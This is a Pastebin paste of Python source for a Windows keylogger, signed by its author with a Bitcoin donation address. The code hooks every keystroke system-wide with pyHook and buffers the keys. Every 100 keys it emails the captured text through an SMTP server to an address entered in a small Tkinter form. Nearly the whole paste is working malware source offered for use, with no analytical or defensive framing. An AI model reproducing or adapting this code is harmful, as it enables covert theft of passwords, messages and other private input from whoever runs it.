SHARE
TWEET

Keylogger

a guest Dec 29th, 2016 352 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import pyHook, pythoncom, sys, logging, smtplib, tkinter, re, _thread, ssl, os.path, time
  2. from email.mime.multipart  import MIMEMultipart
  3. from email.mime.text import MIMEText
  4. from tkinter import *
  5. import logging
  6. from win32api import GetKeyState
  7. from ctypes import *
  8.  
  9.  
  10. counts = 0
  11. string = ""
  12.  
  13.  
  14. fields = 'Email'
  15. checkEmail = False
  16. receivers = []
  17. def fetch(entries,root):
  18.     global checkEmail
  19.     global receivers
  20.     field = entries[0]
  21.     text = entries[1].get()
  22.     match = re.match('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', text)
  23.     if match == None:
  24.         print('Bad Syntax in ' + text)
  25.         checkEmail = False
  26.     else:
  27.         checkEmail = True
  28.         receivers.append(text)
  29.         root.destroy()
  30.  
  31.  
  32. def makeform(root, fields):
  33.     row = Frame(root)
  34.     lab = Label(row, width=15, text=fields, anchor='w')
  35.     ent = Entry(row)
  36.     row.pack(side=TOP, fill=X, padx=4, pady=5)
  37.     lab.pack(side=LEFT)
  38.     ent.pack(side=RIGHT, expand=YES, fill=X)
  39.     entries =(fields, ent)
  40.     return entries
  41.  
  42. def quit(root):
  43.     root.destroy()
  44.  
  45. def onkeyboardevent(event):
  46.     if not checkEmail:
  47.         return False
  48.     global counts
  49.     global string
  50.     global receivers
  51.     if event.Ascii==13:
  52.         keys='<ENTER>'
  53.     elif event.Ascii==8:
  54.         keys='<BACK SPACE>'
  55.     elif event.Ascii==9:
  56.         keys='<TAB>'
  57.     elif event.Ascii==14:
  58.         keys='<SHIFT>'
  59.     elif event.Ascii==16:
  60.         keys='<SHIFT>'
  61.     elif event.Ascii==27:
  62.         keys='<ESCAPE>'
  63.     elif event.Ascii==32:
  64.         keys=' '
  65.     elif event.Ascii==33:
  66.         keys='!'
  67.     elif event.Ascii==34:
  68.         keys='"'
  69.     elif event.Ascii==35:
  70.         keys='#'
  71.     elif event.Ascii==36:
  72.         keys='$'
  73.     elif event.Ascii==37:
  74.         keys='%'
  75.     elif event.Ascii==38:
  76.         keys='&'
  77.     elif event.Ascii==39:
  78.         keys="'"
  79.     elif event.Ascii==40:
  80.         keys='('
  81.     elif event.Ascii==41:
  82.         keys=')'
  83.     elif event.Ascii==42:
  84.         keys='*'
  85.     elif event.Ascii==43:
  86.         keys='+'
  87.     elif event.Ascii==44:
  88.         keys=','
  89.     elif event.Ascii==45:
  90.         keys='-'
  91.     elif event.Ascii==46:
  92.         keys='.'
  93.     elif event.Ascii==47:
  94.         keys='/'
  95.     elif event.Ascii==48:
  96.         keys='0'
  97.     elif event.Ascii==49:
  98.         keys='1'
  99.     elif event.Ascii==50:
  100.         keys='2'
  101.     elif event.Ascii==51:
  102.         keys='3'
  103.     elif event.Ascii==52:
  104.         keys='4'
  105.     elif event.Ascii==53:
  106.         keys='5'
  107.     elif event.Ascii==54:
  108.         keys='6'
  109.     elif event.Ascii==55:
  110.         keys='7'
  111.     elif event.Ascii==56:
  112.         keys='8'
  113.     elif event.Ascii==57:
  114.         keys='9'
  115.     elif event.Ascii==58:
  116.         keys=':'
  117.     elif event.Ascii==59:
  118.         keys=';'
  119.     elif event.Ascii==60:
  120.         keys='<'
  121.     elif event.Ascii==61:
  122.         keys='='
  123.     elif event.Ascii==62:
  124.         keys='>'
  125.     elif event.Ascii==63:
  126.         keys='?'
  127.     elif event.Ascii==64:
  128.         keys='@'
  129.     elif event.Ascii==65:
  130.         keys='A'
  131.     elif event.Ascii==66:
  132.         keys='B'
  133.     elif event.Ascii==67:
  134.         keys='C'
  135.     elif event.Ascii==68:
  136.         keys='D'
  137.     elif event.Ascii==69:
  138.         keys='E'
  139.     elif event.Ascii==70:
  140.         keys='F'
  141.     elif event.Ascii==71:
  142.         keys='G'
  143.     elif event.Ascii==72:
  144.         keys='H'
  145.     elif event.Ascii==73:
  146.         keys='I'
  147.     elif event.Ascii==74:
  148.         keys='J'
  149.     elif event.Ascii==75:
  150.         keys='K'
  151.     elif event.Ascii==76:
  152.         keys='L'
  153.     elif event.Ascii==77:
  154.         keys='M'
  155.     elif event.Ascii==78:
  156.         keys='N'
  157.     elif event.Ascii==79:
  158.         keys='O'
  159.     elif event.Ascii==80:
  160.         keys='P'
  161.     elif event.Ascii==81:
  162.         keys='Q'
  163.     elif event.Ascii==82:
  164.         keys='R'
  165.     elif event.Ascii==83:
  166.         keys='S'
  167.     elif event.Ascii==84:
  168.         keys='T'
  169.     elif event.Ascii==85:
  170.         keys='U'
  171.     elif event.Ascii==86:
  172.         keys='V'
  173.     elif event.Ascii==87:
  174.         keys='W'
  175.     elif event.Ascii==88:
  176.         keys='X'
  177.     elif event.Ascii==89:
  178.         keys='Y'
  179.     elif event.Ascii==90:
  180.         keys='Z'
  181.     elif event.Ascii==91:
  182.         keys='['
  183.     elif event.Ascii==92:
  184.         keys='\\'
  185.     elif event.Ascii==93:
  186.         keys=']'
  187.     elif event.Ascii==94:
  188.         keys='^'
  189.     elif event.Ascii==95:
  190.         keys='_'
  191.     elif event.Ascii==97:
  192.         keys='a'
  193.     elif event.Ascii==98:
  194.         keys='b'
  195.     elif event.Ascii==99:
  196.         keys='c'
  197.     elif event.Ascii==100:
  198.         keys='d'
  199.     elif event.Ascii==101:
  200.         keys='e'
  201.     elif event.Ascii==102:
  202.         keys='f'
  203.     elif event.Ascii==103:
  204.         keys='g'
  205.     elif event.Ascii==104:
  206.         keys='h'
  207.     elif event.Ascii==105:
  208.         keys='i'
  209.     elif event.Ascii==106:
  210.         keys='j'
  211.     elif event.Ascii==107:
  212.         keys='k'
  213.     elif event.Ascii==108:
  214.         keys='l'
  215.     elif event.Ascii==109:
  216.         keys='m'
  217.     elif event.Ascii==110:
  218.         keys='n'
  219.     elif event.Ascii==111:
  220.         keys='o'
  221.     elif event.Ascii==112:
  222.         keys='p'
  223.     elif event.Ascii==113:
  224.         keys='q'
  225.     elif event.Ascii==114:
  226.         keys='r'
  227.     elif event.Ascii==115:
  228.         keys='s'
  229.     elif event.Ascii==116:
  230.         keys='t'
  231.     elif event.Ascii==117:
  232.         keys='u'
  233.     elif event.Ascii==118:
  234.         keys='v'
  235.     elif event.Ascii==119:
  236.         keys='w'
  237.     elif event.Ascii==120:
  238.         keys='x'
  239.     elif event.Ascii==121:
  240.         keys='y'
  241.     elif event.Ascii==122:
  242.         keys='z'
  243.     elif event.Ascii==123:
  244.         keys='{'
  245.     elif event.Ascii==124:
  246.         keys='|'
  247.     elif event.Ascii==125:
  248.         keys='}'
  249.     elif event.Ascii==126:
  250.         keys='~'
  251.     elif event.Ascii==127:
  252.         keys='<DEL>'
  253.     else:
  254.         keys = (chr(event.Ascii))
  255.     string+=keys
  256.     counts+= 1
  257.     print(keys)
  258.     #print(counts)
  259.     if counts == 100:
  260.         print(string)
  261.         #sendMail("Thread-1", receivers,string)
  262.         _thread.start_new_thread( sendMail, ("Thread-1", receivers,string))
  263.         string=""
  264.         counts=0
  265.     return True
  266.  
  267.  
  268. def sendMail(threadName,receivers,Message):
  269.      host = # "enter your host provider"
  270.     port = # "enter host port"
  271.     sslUse = # "enter if True or False"
  272.     from_ = # "enter email address"
  273.     pass_ = # "enter email password"
  274.     user = # "enter email address"
  275.     emails = receivers
  276.     subject = "Keylogger"
  277.     messageText = Message
  278.  
  279.     x = 0
  280.     for arg in sys.argv:
  281.         if x<10:
  282.             x = x+1
  283.             continue
  284.         messageText = messageText + "\r\n" + arg
  285.  
  286.  
  287.  
  288.     msg = MIMEText(messageText)
  289.  
  290.     msg['Subject'] = subject
  291.  
  292.     msg['From'] = from_
  293.  
  294.  
  295.     if str(sslUse) == "TLS":
  296.         #s = smtplib.SMTP_SSL('webmail.frontagelab.com'+":"+str('587'),context=contextSSL)
  297.         s = smtplib.SMTP(host+':'+str(port),timeout=5)  # object created
  298.         s.debuglevel=0
  299.         s.ehlo()
  300.         s.starttls()  # enable TLS
  301.         s.ehlo()
  302.         s.login(user,pass_)
  303.         res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
  304.         s.quit()
  305.     elif str(sslUse) == "True":
  306.         s = smtplib.SMTP_SSL()
  307.         s.connect(host, port)
  308.         s.login(user, pass_)
  309.         res = s.sendmail(from_addr=from_, to_addrs=emails, msg=msg.as_string())
  310.         s.quit()
  311.     else:
  312.         s = smtplib.SMTP(host=host)
  313.         s.login(user=user,password=pass_)
  314.         res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
  315.         s.quit()
  316.  
  317.     print ("done")
  318.     return True
  319.  
  320.  
  321. if __name__ == '__main__':
  322.     root = Tk()
  323.     ents = makeform(root, fields)
  324.     root.bind('<Return>', (lambda event, e=ents: fetch(e,root)))
  325.     b1 = Button(root, text='Done',command=(lambda e=ents: fetch(e,root)))
  326.     b1.pack(side=LEFT, padx=5, pady=5)
  327.     b2 = Button(root, text='Quit', command=root.destroy)
  328.     b2.pack(side=LEFT, padx=5, pady=5)
  329.     root.mainloop()
  330.  
  331. hooks_manger = pyHook.HookManager()
  332. hooks_manger.KeyDown = onkeyboardevent
  333. hooks_manger.HookKeyboard()
  334. pythoncom.PumpMessages()
  335.  
  336. input ("Press ENTER to exit")
  337.  
  338. # by Boseda
  339. # Bitcoin Address: 18hheTbKzgLXKtEjrdj3Jg6qEWAxbJt8QK
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top